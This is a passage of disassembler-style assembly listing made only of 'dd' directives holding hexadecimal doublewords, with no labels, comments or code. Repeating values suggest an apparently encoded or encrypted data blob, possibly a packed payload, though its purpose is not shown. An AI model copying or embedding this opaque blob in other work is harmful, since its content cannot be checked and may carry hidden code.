		dd 0B73A4034h, 3D28BEAAh, 0F5B2C2C0h, 34C6DC75h, 0E515E47Ah
		dd 0B62D8BC1h, 62DD6CD6h, 1792F988h, 3915E47Ah,	3216C6C0h
		dd 9605847Ah, 3216B78Ch, 2D60BD7Ah, 55EBFB6Fh, 0A09B31E3h
		dd 0B69DD3C7h, 5675A36Bh, 3AC78B6Ah, 3615E47Ah,	0DA40DD8Ch
		dd 0FFC896DCh, 320E686Dh, 6656E47Ah, 2BA6E2A2h,	3935EB7Bh
		dd 3215EEEEh, 888F927Ah, 0B62D08F5h, 3215E474h,	32167A6Dh
		dd 8AAEE47Ah, 4A5CEA7Dh, 3216B793h, 4508CE7Ah, 8930BF02h
		dd 49921FF0h, 1E3E5B3Eh, 7C48893Eh, 321F130Fh, 0F8EDE47Ah
		dd 49BCAC5Ah, 9688A5DCh, 34A9B1BFh, 97272EFFh, 3215E470h
		dd 4308DE87h, 4A592A93h, 3220147Dh, 1158E47Ah, 0E3F2C7B6h
		dd 4B70BBEDh, 0A58A1A1Ch, 69B616A0h, 8636841Ah,	1FBF74E5h
		dd 0C534841Bh, 419C8F82h, 3A678AF7h, 3215EC09h,	3D95F97Ah
		dd 1215E47Ah, 32262E1Bh, 812D841Ah, 1F79B98Ah, 3224706Dh
		dd 6FC6E47Ah, 0B315E475h, 0F8A8B803h, 82115957h, 8F6290C8h
		dd 52D936D8h, 62C77F1Ah, 0A415E475h, 0A48E3714h, 2ACE1F0Bh
		dd 0D2E9753Eh, 0C58D8DD7h, 7390DF8Eh, 3B95FA7Eh, 3915E47Ah
		dd 3215F1ECh, 3FA6F97Ah, 1215E47Ah, 3215EF93h, 0DB846A7Ah
		dd 40D2E1A8h, 7752EDC7h, 32160BC0h, 0BF77E47Ah,	5F586860h
		dd 33C78474h, 1C15E47Ah, 2E7699DAh, 3215F193h, 8E903F7Ah
		dd 1F82BCEBh, 3228131Ah, 15FCE47Ah, 128C588h, 1E5FAC63h
		dd 3215EE93h, 0C7893F7Ah, 0C5AF7272h, 5F98ACD0h, 40A9F974h
		dd 5715E47Ah, 0B42D3359h, 3215E472h, 3210736Dh,	1F35E47Ah
		dd 3916A909h, 321066F6h, 3221137Ah, 9860E47Ah, 0CD6A0C99h
		dd 1049738h, 0FA07F887h, 0C7E6DF31h, 391574ACh,	3215F0C1h
		dd 58A8847Ah, 1FC613FAh, 4A21607Dh, 0A72D607Dh,	3215E488h
		dd 0CDC64B59h, 74A81BB3h, 337692Ah, 892D83C2h, 7F8F91B8h
		dd 22AEE410h, 3216BD93h, 2E445C7Ah, 5E678FEEh, 77D8E7AFh
		dd 17577A34h, 9A2AAE92h, 3215ED68h, 3A53761Ah, 45AF35C5h
		dd 6592F8BAh, 0A715E475h, 3215E476h, 0F6B2DDDAh, 0C5A672E9h
		dd 3294F975h, 3915E47Ah, 3215EAECh, 0CC6DF7Ah, 1215E47Ah
		dd 728EE4C6h, 0BA21CDEh, 63556D1Bh, 320F736Ch, 0A7C2E47Ah
		dd 4A5CE933h, 3215EE93h, 8876707Ah, 0B22CD506h,	3215E467h
		dd 3215F393h, 6B48B07Ah, 95153B3Ch, 4B7364B2h, 97304150h
		dd 4ED372CAh, 3215F193h, 82883A7Ah, 4988263Ah, 0A735F007h
		dd 3215E441h, 36B1E8Dh,	59DF28Fh, 20522ACCh, 122D607Dh
		dd 3215EF92h, 0B0C81E7Ah, 7AC6F7AAh, 0C3D2642Ah, 0C5347BC8h
		dd 25D8C81h, 322E6D6Dh,	0BD2CE47Ah, 3215E488h, 1CCE8B1Ah
		dd 3915E488h, 3215F0C1h, 4095F97Ah, 4E15E47Ah, 0B62D2441h
		dd 3215E465h, 3215F193h, 58069C7Ah, 0A7EA655Dh,	3215EE59h
		dd 320F6F6Dh, 0C656E47Ah, 0B235E037h, 808F33B6h, 5E107595h
		dd 3915A31Ah, 3210BF08h, 0B12D847Ah, 3215E488h,	8A9E8B1Ah
		dd 1F1FDFB4h, 3A52B07Dh, 3215EAF6h, 0CA90DC7Ah,	0B62CE476h
		dd 3215E43Ah, 3227686Dh, 3935E47Ah, 3215E408h, 1FAF847Ah
		dd 32216909h, 3273686Dh, 0B62CE47Ah, 3215E47Bh,	32ED1487h
		dd 0C82CE47Ah, 3215E466h, 3215F893h, 217E037Ah,	0DD2B87C1h
		dd 0E57E76DAh, 45E8472Ah, 4A5CE8C2h, 3227147Dh,	5EA3E47Ah
		dd 0B0C844D8h, 970247D1h, 3215E470h, 3215F193h,	0DAC9837Ah
		dd 4D421934h, 321312A1h, 906DE47Ah, 0A711D10Ch,	4A5CE9AAh
		dd 62DD6E87h, 6A9F976h,	0A715E47Ah, 3215E464h, 595D19D1h
		dd 1D188B4Eh, 120A7ACh,	17BF3E4Bh, 62DD6CB5h, 9092F977h
		dd 4A15E47Ah, 0F2A8DF3Bh, 2AA8DF76h, 3EC6E06Eh,	2815E47Ah
		dd 0E99D6884h, 132733FFh, 0A7D3A1C2h, 3215E898h, 32296B6Dh
		dd 3035E47Ah, 0F2A98A1Ch, 32211376h, 671FE47Ah,	7DE98071h
		dd 90C604F8h, 31171B6Fh, 0A90053B9h, 3C8FF94Ch,	0A715E47Ah
		dd 3215E473h, 3A9E5273h, 0BF7C62BCh, 0A72288C1h, 3215E475h
		dd 0B1B46051h, 6FC7220Dh, 7015E475h, 389ADA6Ch,	333FABC3h
		dd 4A1D1991h, 320170C1h, 32163D93h, 322C137Ah, 9705E47Ah
		dd 0CBC1FA14h, 2277B794h, 0F03D6F68h, 869CF91Ah, 3216BD93h
		dd 0FF275F7Ah, 634AF577h, 0F1B22BF6h, 0B18A3757h, 1F080248h
		dd 122AB0C1h, 110DFBFBh, 0C5AFB62Eh, 0C82CEF1Dh, 3215E478h
		dd 3215F693h, 0F8570B7Ah, 0DE031BE0h, 0FA96D18Dh, 2989C395h
		dd 0BE51DF76h, 0C72CEF61h, 3215E47Bh, 62DD6E87h, 5392F988h
		dd 0A715E475h, 3215E46Bh, 6687B99h, 0D7526EBBh,	0EBC3B08Eh
		dd 75DC1CDBh, 0B42CE03Bh, 3215E475h, 320F776Dh,	6656E47Ah
		dd 892D83A2h, 55A98F85h, 3F72731Bh, 3214137Bh, 947FE47Ah
		dd 7A4A579h, 4A5CE8C2h,	0C534897Dh, 34978C85h, 0A715E47Ah
		dd 3215E475h, 0E546AFE3h, 0E5C0E992h, 1F78821Ah, 4A5B9193h
		dd 39AEE47Dh, 3215EAF6h, 1F66E37Ah, 5199E5D0h, 579CF823h
		dd 322E2E1Bh, 0B32D8087h, 3215E441h, 3F90F91Ah,	3915E47Ah
		dd 0C5AF34C5h, 7390DB8Eh, 3215147Eh, 9DAAE47Ah,	64DB8065h
		dd 0C6578476h, 6FC6EC37h, 7C15E475h, 0A5AD478Dh, 7F952E6Bh
		dd 8F6AE33Fh, 1AF2368Fh, 3922AF51h, 32169608h, 0F795F97Ah
		dd 0A715E47Ah, 3215E47Ah, 8DCB1216h, 702605E0h,	11B84EE0h
		dd 4E1DD76Dh, 150F873Fh, 0B12CF437h, 3215E449h,	4ED33287h
		dd 3215E47Ah, 0C8368982h, 1FAF8890h, 0A7AF2CC1h, 3215E43Dh
		dd 3222131Ah, 9BA9E47Ah, 5D4104DAh, 81210E3Dh, 6DC66203h
		dd 1115E475h, 0C19ECE22h, 0F23DAC8Fh, 31C1779h,	89E8FC76h
		dd 71AF006Fh, 320EE037h, 0A856E47Ah, 3215E475h,	0C68E541Ah
		dd 39AF8C85h, 3215F1C1h, 3005847Ah, 12AF8B1Ah, 0E13EB9D1h
		dd 1FC17551h, 4B52AEC1h, 3220706Dh, 3BC6E47Ah, 0A715E47Ah
		dd 24604077h, 0F6F479BFh, 8F081409h, 322612B3h,	7C6FE47Ah
		dd 0DB7211C7h, 4DA9AF13h, 77CC62CCh, 34C72B88h,	0DD15E47Ah
		dd 0A72CECB6h, 32222DD4h, 369CF91Ah, 25842A14h,	0BF367F1Bh
		dd 3A11C498h, 321F1221h, 0F446E47Ah, 2552671Ch,	0DF9E5B1Eh
		dd 29C3A21Dh, 2067EC4Fh, 0BE2D0FC1h, 3215E479h,	3215F993h
		dd 0CDE8117Ah, 0F9683E1Ah, 518F7D9Ch, 0BDC9C1A0h, 0A85DDFB6h
		dd 3215E46Fh, 4A146C65h, 1952F409h, 76F7C299h, 8934841Ah
		dd 998E5846h, 460AD8C9h, 32160C1Bh, 0BF77E47Ah,	5F15E060h
		dd 32281374h, 0D305E47Ah
		dd 0B319A098h, 79C2C3DCh, 48CE8987h, 1315E47Ah,	4EE19E5Eh
		dd 3E42CB6Ch, 322D12B8h, 0D072E47Ah, 0A8006AF3h, 0ECDF2D8h
		dd 0BD6829D1h, 0DAF8668h, 6494F8B3h, 1215E475h,	3215F293h
		dd 21A3187Ah, 71ECD07Ch, 0BF3368D7h, 209238B1h,	14360559h
		dd 0C72D2AC1h, 3215E46Ah, 3215F592h, 9E754A7Ah,	0D2DAD9AEh
		dd 0B7ECEDD5h, 4E7B731Bh, 1F54751Ah, 206C216Dh,	0FE98751Bh
		dd 1215C3D0h, 0B12D06C7h, 3215E474h, 3216796Dh,	0BDAEE47Ah
		dd 0B62CE43Dh, 3215EDD0h, 32227A6Dh, 0BD2CE47Ah, 3215E474h
		dd 3216706Dh, 0A90E47Ah, 5B92FA7Dh, 3915E475h, 3215EB08h
		dd 7290E37Ah, 408EF966h, 4E15E47Ah, 4A5D3193h, 0A857897Dh
		dd 3215E46Dh, 1C96486Ch, 173E85C1h, 37CF8272h, 0BDAFAF47h
		dd 3915E7FDh, 32167DF6h, 3214137Ah, 0B6CAE47Ah,	89812A88h
		dd 32216909h, 321A686Dh, 0C535E47Ah, 32200BADh,	0DB21E47Ah
		dd 0EB134823h, 49A52746h, 0FCB03F6Bh, 0F78F2FF4h, 32166D6Dh
		dd 1F78E47Ah, 32169193h, 321F137Ah, 3488E47Ah, 407A0BEBh
		dd 1D1B9E0Ch, 57DD3251h, 49F411DDh, 0C02CE037h,	3215E475h
		dd 0F3042A1Ah, 0BDAEEC9Dh, 39C7B7B5h, 0EA15E47Ah, 0A08ACE53h
		dd 3AFFF2B6h, 0AF866CA2h, 4A36B812h, 3F8FF82Ah,	2A15E47Ah
		dd 49BB131Bh, 0C52CEA7Dh, 3215E479h, 3215F993h,	3CF2E47Ah
		dd 0FE361627h, 28B94373h, 0BDEB4067h, 3912F3FDh, 321637F6h
		dd 31ADF97Ah, 1215E47Ah, 0E99A7B2Bh, 322C131Bh,	2D76E47Ah
		dd 0E4852B2Fh, 0B098C8Fh, 0ABEBC128h, 3425690Ah, 3F606F6Dh
		dd 6FC6E47Ah, 2715E475h, 7348DB84h, 0E2B11925h,	0A0F0B526h
		dd 1EB05381h, 321F133Bh, 0F434E47Ah, 318BE33Eh,	81CE266Ch
		dd 321CA9C6h, 0C5017DAAh, 48C6E835h, 7E15E47Ah,	50BEA8ACh
		dd 8E55B6Fh, 3E7D7684h,	3215EB93h, 0C3E86A7Ah, 0CA73BB92h
		dd 3F28135Dh, 6FC6E47Ah, 5215E475h, 666B0B83h, 0F0115ADAh
		dd 0C3A5D64Ch, 25F5894Dh, 36D57683h, 878F921Ah,	0C534BE61h
		dd 39368AA2h, 3215EFEFh, 3215137Ah, 7CC6E47Ah, 0DFEF0758h
		dd 0B5E5846Dh, 1FAF2EC0h, 122288C1h, 0AF4EE4BDh, 34C7843Ch
		dd 0DB15E47Ah, 0D5A6E1Eh, 322C0BF1h, 0B5D0E47Ah, 0CFDA1D8h
		dd 7489F236h, 446C4338h, 0A7AF8A1Ch, 3215E3F7h,	3215F493h
		dd 0EDA3DF7Ah, 13FEEB43h, 3E19D1EAh, 0A72AB0C1h, 3215E464h
		dd 7BAFE65Ah, 0E3E4A21h, 0E287D9F8h, 0D17CD907h, 3E7D74E1h
		dd 3214646Dh, 0BC2CE47Ah, 3215E47Bh, 367CD683h,	3221131Ah
		dd 44A6E47Ah, 2643094Dh, 48F8F323h, 792C2DBBh, 4F239B6Ah
		dd 20517550h, 12131509h, 3C6F55D1h, 0B7E6815Ch,	0CA918A22h
		dd 0B32CED6Ah, 3215E466h, 0BB2DAC7Eh, 3215E46Eh, 3215F093h
		dd 2539527Ah, 6EFC0065h, 0B32D0220h, 3215E46Ah,	3215F493h
		dd 0AD6D847Ah, 2D3625A5h, 0BEA2EC20h, 3F0F7FF3h, 9A8F921Ah
		dd 0C5334B2Bh, 975E8A9Ch, 4A5CEA7Eh, 32132483h,	5856E47Ah
		dd 0B22C5599h, 3215E47Bh, 4BE7147Eh, 0BE2CEA7Dh, 3215E474h
		dd 8D2F641Ah, 4EAF8C83h, 0A852AEC1h, 3215E488h,	32ECDFE8h
		dd 8C688491h, 4A21FD9Fh, 1436332Ch, 0BF33E0C1h,	1F75A48Bh
		dd 3222706Dh, 0BF2CE47Ah, 3215E474h, 32166D6Dh,	1F50E47Ah
		dd 3215EF92h, 20C70A7Ah, 0CCE6D441h, 0C758D82Bh, 4606B41h
		dd 29889E2Ah, 2FC3B41Bh, 3F93F91Ah, 1415E47Ah, 1FC1BDBCh
		dd 32156E6Dh, 0BF2CE47Ah, 3215E47Bh, 14367E7Eh,	0BEEF0AFBh
		dd 32CE8C87h, 0B815E47Ah, 335F15FBh, 8335F15Bh,	93C86B76h
		dd 1F86D32Dh, 3216BA93h, 0EC6ACF7Ah, 0CA396790h, 0EE35BD26h
		dd 0C1F99095h, 75AAD913h, 31762555h, 3213131Ah,	27D6E47Ah
		dd 0A7B5FDD3h, 3215E475h, 78913905h, 8AAEE27Ch,	3215E416h
		dd 32EF7A6Dh, 9A35E47Ah, 3215E475h, 39C0BE3Bh, 0A7799E6Ch
		dd 3215E46Dh, 0E165889Dh, 6D44922Fh, 5E6F6480h,	9AAF89E2h
		dd 3215E7BFh, 39297683h, 3215EAFBh, 7F18E07Ah, 32A51483h
		dd 3E5DE47Ah, 0A735E801h, 3215E464h, 4D811DF4h,	0E9FE9BB3h
		dd 28C36DEDh, 0DEAFD14Eh, 322E12C5h, 0AAE8E47Ah, 12FCFC03h
		dd 4EAF165Bh, 0C02D2B51h, 3215E3E8h, 62E8EE87h,	719CF915h
		dd 15AEDDC1h, 188FF8BBh, 3915E47Ah, 3215EB08h, 39C6DF7Ah
		dd 5015E47Ah, 0E695E205h, 0CC227BA2h, 869EA43Ch, 69C70ACEh
		dd 1215E475h, 3215EF93h, 0CEA5287Ah, 0BCB2AAE9h, 6780CE05h
		dd 58F76A91h, 1FD4D4C1h, 32154F93h, 0D4C6DC7Ah,	3915E47Ah
		dd 3215EC08h, 0A18F847Ah, 2A2D189Ah, 8538771Bh,	1215CB17h
		dd 98D02EBCh, 3213137Ah, 0D48E47Ah, 1F8618B0h, 3935FE7Dh
		dd 959739BDh, 1FD1C026h, 320F6D6Dh, 0A851E47Ah,	3215E40Ch
		dd 320E6B6Dh, 3A56E47Ah, 3215EAF6h, 75AADF7Ah, 31EF918Bh
		dd 32297A6Dh, 3935E47Ah, 3215E3C0h, 86A9927Ah, 66C7841Bh
		dd 0B515E475h, 69A2726Ch, 492577F0h, 0ED96B0EBh, 0CC05EF20h
		dd 10F457D4h, 49AEE5C1h, 3935DEB9h, 3215ED09h, 0AD04F97Ah
		dd 3216BC8Ch, 0BC2DEB7Ah, 97375381h, 0D1ABBA02h, 82922D5Fh
		dd 9EB07E82h, 0BD2D8514h, 3215E46Eh, 0A546B1Ah,	14BEA2A4h
		dd 206D88D1h, 127DDB23h, 3FA7F825h, 0B715E47Ah,	3216B792h
		dd 0E16F227Ah, 0D9E98BD5h, 8B9BFF08h, 0B962AF1Ah, 1CEE73D5h
		dd 389CF942h, 45C78A1Ch, 6515E47Ah, 0E54784C5h,	0E33B2B99h
		dd 3A519574h, 3216BEF5h, 3226137Ah, 14BAE47Ah, 0EBDAF734h
		dd 91DCF7C3h, 0E013CAAh, 0A7E32BDBh, 3215E442h,	5A51EE28h
		dd 92BC0CD9h, 0C5E2B5D4h, 0C72CDF8Eh, 3215E440h, 3FA9F91Ah
		dd 2D15E47Ah, 32CE8A1Ch, 0B815E47Ah, 31B715FBh,	12C2F15Bh
		dd 322B646Dh, 3ACDE47Ah, 8215E47Ah, 0D106C09h, 0B7751DB8h
		dd 3215EB92h, 4B50997Ah, 252DBF0Dh, 1F76DEFAh, 95AADC1Ah
		dd 31762556h, 71A9921Ah, 0C5AF7B25h, 1235EC37h,	1F5E7514h
		dd 0EE988B1Bh, 1FBD06C3h, 0C65DF0F3h, 45C6F037h, 9B15E47Ah
		dd 0DFE029FAh, 0F5F94EB0h, 0F2A6F9E6h, 322E1376h, 2D31E47Ah
		dd 0A740AF54h, 0F4A9268Dh, 0F2A6DF6Ah, 40A6F96Eh, 4A15E47Ah
		dd 4EBAAEC1h, 4A26B0F3h, 1F66E31Bh, 0C72D0AD9h,	3215E477h
		dd 7EFD6B14h, 6F508AE4h, 322E1375h, 64CDE47Ah, 1C41A183h
		dd 0A736154Bh, 3215E470h, 2A95D5FCh, 349331ACh,	0F115C55Eh
		dd 322B796Dh, 3AC6E47Ah, 515E47Ah, 65EEAD32h, 0A7E0C86Bh
		dd 3215E479h, 0B8DFCD70h, 34CBF3F4h, 0EE09BC3Ch, 5A14A3EEh
		dd 0F84E00B2h, 430EC119h, 5C1F207Dh, 0BC5DF170h, 6CDB65F7h
		dd 32261374h, 0BEA0E47Ah, 536BED07h, 0D675236Fh, 333C5A3Ah
		dd 0AF5CDAA3h, 320F776Eh, 30C2E47Ah, 0CFA87882h, 3915C3BEh
		dd 3215EBFAh, 0C82D847Ah, 3215E47Ah, 0C02D7B1Bh, 3215E441h
		dd 3215F193h, 8F4E377Ah, 49E6206Ch, 3992F8AAh, 0A715E47Ah
		dd 3215E46Ch, 53AF0F9h,	98255E48h, 0BF3685F1h, 59C18BA8h
		dd 0CCF86AFFh, 1F87F0E2h, 8E466DEFh, 39C2F15Ah,	3922A3C5h
		dd 3216C5C0h, 63ADF97Ah, 0A715E475h, 3215E46Eh,	39CA0494h
		dd 59F5DEBAh, 0AA78FB65h, 0C6500E93h, 3990F8A2h, 1215E47Ah
		dd 3215646Dh, 0AF8EE47Ah, 171B95C2h, 3A577E1Bh,	46A8F94Bh
		dd 1215E47Ah, 0D6FB6B14h, 0CA9C9247h, 0A7788AAAh, 3215E470h
		dd 666B0A90h, 4B50ECDAh, 0F75B6DF3h, 0BF35F171h, 2326DE8Ah
		dd 3D94F8FCh, 2F15E47Ah, 43AF8B30h, 32BA12C9h, 1671E47Ah
		dd 0E2A048AEh, 15975416h
		dd 0FF954EECh, 66C73C60h, 4E369783h, 2FAEE9C1h,	3215F693h
		dd 0E8C66D7Ah, 0CCCBFBCBh, 17C80CD2h, 12DF4E80h, 32131225h
		dd 0DD48E47Ah, 2CE0E014h, 32160C1Bh, 0BF77E47Ah, 5F27A460h
		dd 4794F974h, 1215E47Ah, 3216716Dh, 43AEE47Ah, 32ABF938h
		dd 3915E47Ah, 3215EAF7h, 0BDA8DF7Ah, 31B9C17Fh,	9D73FBF9h
		dd 0A55872EEh, 8972EEh,	0D8C64282h, 24BE065h, 6BCB489Ch
		dd 9D898617h, 0A71AC1EEh, 8D141064h, 1DD90A0h, 0A5A0039h
		dd 0A0F6208Fh, 7DCBF990h, 0A42719D0h, 9D89867Dh, 9D71A1EEh
		dd 75C172EEh, 9561BE7Ch, 8DE999BAh, 0AE21198Eh,	6D887D8Fh
		dd 0BFC172EEh, 35C27908h, 0B70F0303h, 128A53E6h, 9D8972F2h
		dd 0DE59171Eh, 237D3AF8h, 3372130Ah, 9D8972EBh,	9D65A18Eh
		dd 6A9B72EEh, 0B4056FC7h, 58B7312h, 8B19588Eh, 63484BBAh
		dd 9440DB71h, 0B6CDBB8Fh, 0ABF3869Fh, 0C28972EEh, 0A6F487ACh
		dd 7D8972EEh, 9D8905F9h, 2EB72EEh, 0A4F00728h, 9D898576h
		dd 9D8CA1EEh, 2CE772EEh, 574CB78h, 9D8972EFh, 7B57F9B4h
		dd 0A48A59C4h, 9D897F72h, 9CF487EEh, 0A48972EEh, 9D897379h
		dd 30EB12EEh, 0E4F64320h, 0DB5819B5h, 0A38972F1h, 67E1B277h
		dd 8B40F50Ah, 0D71A91DDh, 0B5F7455Dh, 0A5B10424h, 9D895170h
		dd 9D80A1EEh, 0B76E72EEh, 570D29E7h, 7AB3AF9Ch,	4A37464Ch
		dd 5448B9Ch, 0B5C27946h, 9D897B17h, 559626EEh, 0A99054C5h
		dd 0C2BF2A9Fh, 49D0F28Eh, 686EF990h, 0BA5A19C9h, 9D7C01F9h
		dd 1C7272EEh, 9D8972F9h, 9D898517h, 7AABE1EEh, 3C46B52Dh
		dd 31D07641h, 9D74A23Ch, 5A572EEh, 33F3FBDEh, 47E6BB64h
		dd 23D192EEh, 9D7AFCF9h, 12E972EEh, 9D8972F8h, 51CCE057h
		dd 0F5301D59h, 0AA09884Ch, 8A8972EEh, 1F7211A7h, 9D8972EEh
		dd 94B1F990h, 13CE1998h, 9DD9A16Ch, 0AD0CFC30h,	0FCBEFA62h
		dd 0BA584676h, 59C0321h, 9DD9A168h, 2DBBF89Eh, 2CAE347h
		dd 8A786B5Ch, 28C2E1B9h, 9DD9A163h, 0A541B77Ah,	12D9A162h
		dd 9DD9A139h, 86ACFE31h, 0F735722Dh, 0EA46B30Fh, 9DC9C902h
		dd 9C1DA162h, 0BE8A3BCEh, 0AF2EE15Eh, 3752A2D6h, 8A78DD25h
		dd 19012CEFh, 0F739AE43h, 41E87FB3h, 8A09A603h,	8534E13h
		dd 2A3B4320h, 8A74F4A2h, 13203204h, 9DD9A13Ah, 5476B7D4h
		dd 0B3F0594Ah, 262F339Dh, 0CAC880E7h, 0AB5CB664h, 0B5D9A162h
		dd 9DFC2CEBh, 7F39AE69h, 1317E0BAh, 9DD9A13Ah, 51C4CEA0h
		dd 233A126Ah, 8AF3118Dh, 0B3DF2CEFh, 0B2A8AE43h, 0CED9A162h
		dd 221F9AD7h, 389B95B4h, 875C317Bh, 12DA8246h, 9DD9A16Ch
		dd 0EFBFC3Fh, 0E427FF09h, 9DD9D93Eh, 21C2A162h,	9DD9A163h
		dd 0A519B37Ah, 9DE0DBE6h, 1F1B9962h, 9CB67D67h,	9DC4CF14h
		dd 0F301A162h, 8C27B735h, 0A28B714Fh, 9203C50Eh, 531C919Dh
		dd 9DD9AF8Bh, 116E1862h, 0B4A9FF63h, 606378B7h,	0B043B665h
		dd 7DD9A162h, 9DDA256Dh, 9489A162h, 405C3403h, 0A4DA87FCh
		dd 9DD9A9B8h, 0A84DB662h, 7DD9A162h, 8A09A603h,	9DE02F6Dh
		dd 7FACA162h, 8B608DBCh, 9DD9B68Bh, 0C77DA062h,	0DDDD1571h
		dd 0D7D3FA79h, 0A1A84956h, 0D947B512h, 12D9A165h, 9DD9A16Dh
		dd 67DE9C37h, 0CDAA4F7h, 0C16D882Dh, 27445BA9h,	9CB690CBh
		dd 8C763802h, 9DD9B18Bh, 0C1D10D62h, 0B011BE78h, 25B4C574h
		dd 8BFA850Fh, 12404234h, 9DD9A157h, 43C4EC3Bh, 764636DCh
		dd 418C0C2Eh, 52B61F63h, 1FC2A355h, 0A65AB513h,	0A4D9A162h
		dd 9DD9AFE4h, 0AA48B662h, 93D9A162h, 9DDCD066h,	15A7A162h
		dd 852D4DE4h, 9DD9B162h, 9DD9B48Bh, 0CA18CF62h,	83C84772h
		dd 0E15B8E09h, 0EF126EFEh, 9CB697C7h, 9DD9B78Bh, 39001062h
		dd 2408C71Ah, 0C0E56688h, 0B4BEEC4Dh, 5399992h,	9DD9A16Eh
		dd 0FF8F9C08h, 7645CE41h, 4F11235h, 9A0EDF84h, 6558421Ah
		dd 8ACA6600h, 0C3FCE4B9h, 7F39AE68h, 0F159EFB9h, 0DAA84846h
		dd 9AD9A165h, 1EC2079Fh, 3BC03A2Fh, 52DF986Fh, 10E708C7h
		dd 12DE2672h, 9DD9A157h, 0C4446F84h, 7C29B920h,	6C242978h
		dd 8CE4935Fh, 2A47AC64h, 0AA11EEE3h, 27C2A162h,	9DD9A161h
		dd 0AA41B602h, 12D9A162h, 9DD9A165h, 9DEAD92Eh,	7D40B4A0h
		dd 51102804h, 14464FF6h, 0C19AEE04h, 7DD9A145h,	0B0BEE602h
		dd 26407B73h, 60B174DFh, 0F4C24165h, 9DDCD178h,	9D45A162h
		dd 8AA36636h, 0B0A8AAB9h, 82D9A162h, 6AD0FA2Ch,	3CD437B0h
		dd 21C2F3DBh, 9DD9A153h, 9DD9AD8Bh, 5B2B2762h, 0C5BC20A5h
		dd 16B8FB4Ah, 0A519B115h, 9DD964E6h, 0FC514162h, 7FC6B4CFh
		dd 25E3BBE3h, 0A4D93203h, 9DD980EDh, 9DB5D062h,	416AA162h
		dd 0C6281D52h, 0BFF214C6h, 300F82D8h, 4B1F9BD5h, 69485658h
		dd 9D44B666h, 0A4D9A162h, 9DD9A8F1h, 0AC58A062h, 5D98A2Eh
		dd 9DD9A165h, 6B18A063h, 0E4612668h, 0C482CF4Bh, 0E960401Ch
		dd 0CDACC2A9h, 0AFFE707h, 771B2804h, 0A4D9A101h, 9DD9AAE5h
		dd 0C2F42162h, 9DBD370Ah, 9DC4D062h, 0BF34A162h, 0EE5980FCh
		dd 0FD6291E3h, 22262A23h, 9DD9B18Bh, 5F942D62h,	0AA8D9818h
		dd 37A1922Ch, 0B4ED5090h, 956AA65Eh, 16072713h,	23CDCED7h
		dd 3F8CE1E3h, 0B2A88C55h, 0FDD9A162h, 0B1C8589Eh, 0B741B441h
		dd 9230C9E3h, 30C26ED3h, 9DD9A170h, 12609AB8h, 831F45EBh
		dd 9DD97A8Bh, 0DE526D62h, 454DB40Dh, 4252B1BFh,	687A979Bh
		dd 570867DBh, 0A4A8AEEBh, 0CFD9A162h, 0E3FC2D9h, 0B308CB5Dh
		dd 704914FEh, 5609727h,	9F39A8D2h, 2AAAE66Dh, 7DE106A5h
		dd 0AAA92864h, 0A4D9A162h, 9DD97EE7h, 0AC604F62h, 0C7A8BA41h
		dd 0A5D9A165h, 0F34980CDh, 2916A9A6h, 0C7D6F287h, 9DD9AE8Dh
		dd 55DB9162h, 83CAB57h,	23B03205h, 0B512398Bh, 0CE1C87Dh
		dd 0EE96C1CCh, 15D8EE3h, 27EC583Dh, 3F63EC0Eh, 5DC2951Eh
		dd 997B051Eh, 0DF594EB6h, 0F666E9C2h, 8E66E9C2h, 397B051Eh
		dd 0F1704ECEh, 0C519BBADh, 7EF45887h, 6BC312F5h, 8C7B051Eh
		dd 0A2C079CEh, 73789085h, 0A96012F5h, 8C680090h, 765C1D11h
		dd 5A61B71Eh, 797B0E26h, 0B545E51Eh, 7D3594BBh,	7D2D8C02h
		dd 797AE202h, 0B49DD01Eh, 173CB6C4h, 73134BB1h,	91AC9051h
		dd 797B12F5h, 7951051Eh, 79662DCFh, 4E9B051Eh, 31E9A45Dh
		dd 29E209E2h, 79A009E2h, 2622051Eh, 68601C5Dh, 0B108AC3Ch
		dd 5B05F458h, 0DC63E51Dh, 0DEF50A28h, 3F63E6E3h, 5DC2A01Eh
		dd 997B051Eh, 0DF5C4EBBh, 0F666E9AAh, 9A66E9C2h, 2A7B051Eh
		dd 87AB4EB3h, 726C9085h, 1B7C12F5h, 68A016B0h, 0C19805A4h
		dd 797B0505h, 4CA7A6FEh, 5D8DA187h, 5D86C99Fh, 797B05F5h
		dd 3FA79EDDh, 18350F8Ah, 71422C99h, 797B0D8Ah, 73E7DA1Eh
		dd 77B051Eh, 8061B752h,	8CD79580h, 0BCA19611h, 597DAB12h
		dd 154AEA7Dh, 0E3C0B4B3h, 0A21752C9h, 5253D448h, 71089DD5h
		dd 2A0DB1A2h, 0C362BB44h, 178A1D85h, 0D60577A3h, 0B827E920h
		dd 0B8911068h, 6769E82Bh, 65017DB8h, 6D02EC47h,	0B83CEC44h
		dd 5F50E82Bh, 255462B8h, 34CE7251h, 11F629EDh, 788CBDFAh
		dd 9689E89Fh, 0AFA87F2Bh, 0D889E82Bh, 393E256Eh, 3175CC9Fh
		dd 0B375CC67h, 7589E8F8h, 3B8B2557h, 0A1A1FF32h, 0B189E8F8h
		dd 3AA1D27Dh, 0B7E493D9h, 7689142Fh, 6D57DACCh,	0A9CD6FE5h
		dd 0B889E921h, 9DBAE82Bh, 0CC89E8F8h, 0F18C295Bh, 0BEC222C2h
		dd 0A540F17Fh, 62761F0Dh, 0B827E921h, 0B8911069h, 6669E82Bh
		dd 5D0182B8h, 6D02EC47h
		dd 0B83EEC44h, 5E4FE82Bh, 3451D9B8h, 81BEE1EDh,	228CBD30h
		dd 0B82706B0h, 9F013F0Ch, 0F908E921h, 0DC30DC10h, 0C0CF07CAh
		dd 0F2682978h, 383E8EE3h, 4FC6F3ECh, 5725F2DCh,	1DF042E0h
		dd 7F2CD29Eh, 67653651h, 0A1793AD4h, 4D839515h,	0D830D483h
		dd 9A8AED57h, 0C225C78Fh, 236DE120h, 389FAC1h, 2A893B8Dh
		dd 754E76F6h, 983B46F1h, 0E9D953ECh, 8282200Ah,	0D68F7BC5h
		dd 6FC5984Fh, 0BA9030C3h, 0CD406777h, 0EBD948ADh, 2482200Ah
		dd 0D99FB007h, 4566A1CBh, 78310931h, 0E8DDCB8Ah, 6FC8A303h
		dd 6E82206Ah, 0E869807Ah, 0F781F803h, 7824200Ah, 847205DBh
		dd 0F0DDA9D4h, 0C512A364h, 6ABF0BD2h, 0F46C3F0Dh, 0E4D2B359h
		dd 6AC00FACh, 0F46C7759h, 2C906359h, 0AD065277h, 27D00648h
		dd 25A17B59h, 59C9246Bh, 274769D1h, 0E7F88690h,	0F6EB9B00h
		dd 78404527h, 0F6C59DC4h, 10E7EF9Fh, 38FD2110h,	68DDA559h
